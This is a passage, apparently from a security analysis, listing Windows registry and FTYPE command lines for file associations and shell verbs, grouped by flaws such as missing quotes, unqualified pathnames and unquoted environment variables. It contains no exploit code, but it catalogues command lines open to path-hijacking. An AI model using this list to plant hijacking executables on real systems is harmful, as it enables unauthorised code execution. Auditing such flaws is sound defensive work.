    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddPrinter\command
        (Standard)    REG_EXPAND_SZ    %systemroot%\system32\rundll32.exe printui.dll,PrintUIEntry /il
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.HistoryVaultRestore\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\FileHistory.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\0\{27dfca82-8593-46e4-98d8-23eb83452f65}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewEmail %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\1\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\2\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\3\{9d4b9c0a-7b4e-4c0d-926e-a536d781cff6}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnEdit %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\6\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\7\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\0\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\1\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\2\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\3\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddNetworkLocation\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddPrinter\command
        (Standard)    REG_EXPAND_SZ    %systemroot%\system32\rundll32.exe printui.dll,PrintUIEntry /il
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\0\{27dfca82-8593-46e4-98d8-23eb83452f65}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewEmail %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\1\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\2\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\3\{9d4b9c0a-7b4e-4c0d-926e-a536d781cff6}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnEdit %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\6\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\7\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\0\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\1\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\2\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\3\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{00021400-0000-0000-C000-000000000046}\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{0AFACED1-E828-11D1-9187-B532F1E9575D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{0DF44EAA-FF21-4412-828E-260A8728E7F1}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\OpenWithoutDiagnostics\Command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN /disablediagnostics
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rstrui.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{40419485-C444-4567-851A-2DD7BFA1684D}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\telephon.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{48e7caab-b918-4e58-a94d-505519c795dc}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\intl.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\RunAs\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{725BE8F7-668E-4C7B-8F90-46BDB0936430}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl,@1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\RunAs\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{7A9D77BD-5403-11d2-8785-2E0420524153}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    netplwiz.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{87D66A43-7B11-4A28-9811-C86EE395ACF7}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\srchadmin.dll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\shell32.dll,Control_RunDLL C:\Windows\SysWOW64\inetcpl.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B2C761C6-29BC-4f19-9251-E6195265BAF1}\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\SysWOW64\colorcpl.exe"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\changehomegroupsettings\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\sharewithdevices\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.NetworkAndSharingCenter /page ShareMedia
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\starthomegrouptroubleshooter\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\msdt.exe -id HomegroupDiagnostic
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\viewhomegrouppassword\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup /page Passkey
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{D4480A50-BA28-11d1-8E75-00C04FA31A86}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\timedate.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{E44E5D18-0652-4508-A4E2-8A090067BCB0}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.DefaultPrograms
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\certificate_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\contact_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\group_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\LDAP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\vcard_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /showexisting
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Mail\Hotmail\Protocols\mailto\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",MailToProtocolHandler %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Mail\Hotmail\shell\open\command
        (Standard)    REG_EXPAND_SZ    %systemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",OpenInboxHandler
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Media\Windows Media Player\shell\open\command
        (Standard)    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet\IEXPLORE.EXE\shell\naom\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff
    
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command
        (Standard)    REG_SZ    C:\Program Files\Internet Explorer\iexplore.exe
    
    End of search: 587 match(es) found.
    Note: only 221 of these 587 command lines comply with Microsoft’s own documentation, while the other 366 command lines show a total number of 571 bugs!
  2. Command lines without a dot, i.e. without any file extension:

    FTYPE | FIND.EXE /V "."
    batfile="%1" %*
    cmdfile="%1" %*
    comfile="%1" %*
    exefile="%1" %*
    MSStorageSense=explorer ms-settings:storagesense
    piffile="%1" %*
    scrfile="%1" /S
  3. Command lines without a backslash, i.e. without any qualified pathname:

    FTYPE | FIND.EXE /V "\"
    batfile="%1" %*
    brmFile="PrintBrmUI.exe" /import /file:"%1"
    cmdfile="%1" %*
    comfile="%1" %*
    exefile="%1" %*
    MSSppLicenseFile="iexplore.exe" "%1"
    MSStorageSense=explorer ms-settings:storagesense
    piffile="%1" %*
    regedit=regedit.exe "%1"
    regfile=regedit.exe "%1"
    scrfile="%1" /S
  4. Command lines without a (double) quote:

    FTYPE | FIND.EXE /V """"
    CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
    Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    Folder=%SystemRoot%\Explorer.exe
    hlpfile=%SystemRoot%\winhlp32.exe %1
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    Microsoft.Workfolders=C:\Windows\System32\control.exe /name Microsoft.WorkFolders
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
    ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
    ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    MSStorageSense=explorer ms-settings:storagesense
    opensearchdescription=%SystemRoot%\explorer.exe
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    SHCmdFile=%SystemRoot%\explorer.exe
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  5. Command lines with an unquoted environment variable in the application’s pathname:

    FTYPE | FIND.EXE "=%"
    CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    Diagnostic.Cabinet=%SystemRoot%\system32\msdt.exe /cab "%1"
    Diagnostic.Config=%SystemRoot%\system32\msdt.exe /path "%1"
    Diagnostic.Document=%SystemRoot%\system32\msdt.exe /path "%1"
    Diagnostic.Perfmon.Config=%SystemRoot%\system32\perfmon /sys /load "%1"
    Diagnostic.Perfmon.Document=%SystemRoot%\system32\perfmon /sys /open "%1"
    Diagnostic.Resmon.Config=%SystemRoot%\system32\perfmon /res /load "%1"
    evtfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
    evtxfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
    Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
    Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    Folder=%SystemRoot%\Explorer.exe
    hlpfile=%SystemRoot%\winhlp32.exe %1
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
    MSInfoFile=%SystemRoot%\system32\msinfo32.exe "%1"
    msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
    opensearchdescription=%SystemRoot%\explorer.exe
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    pbkfile=%SystemRoot%\system32\rasphone.exe -f "%1"
    PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    SHCmdFile=%SystemRoot%\explorer.exe
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    Undecided=%SystemRoot%\system32\OpenWith.exe "%1"
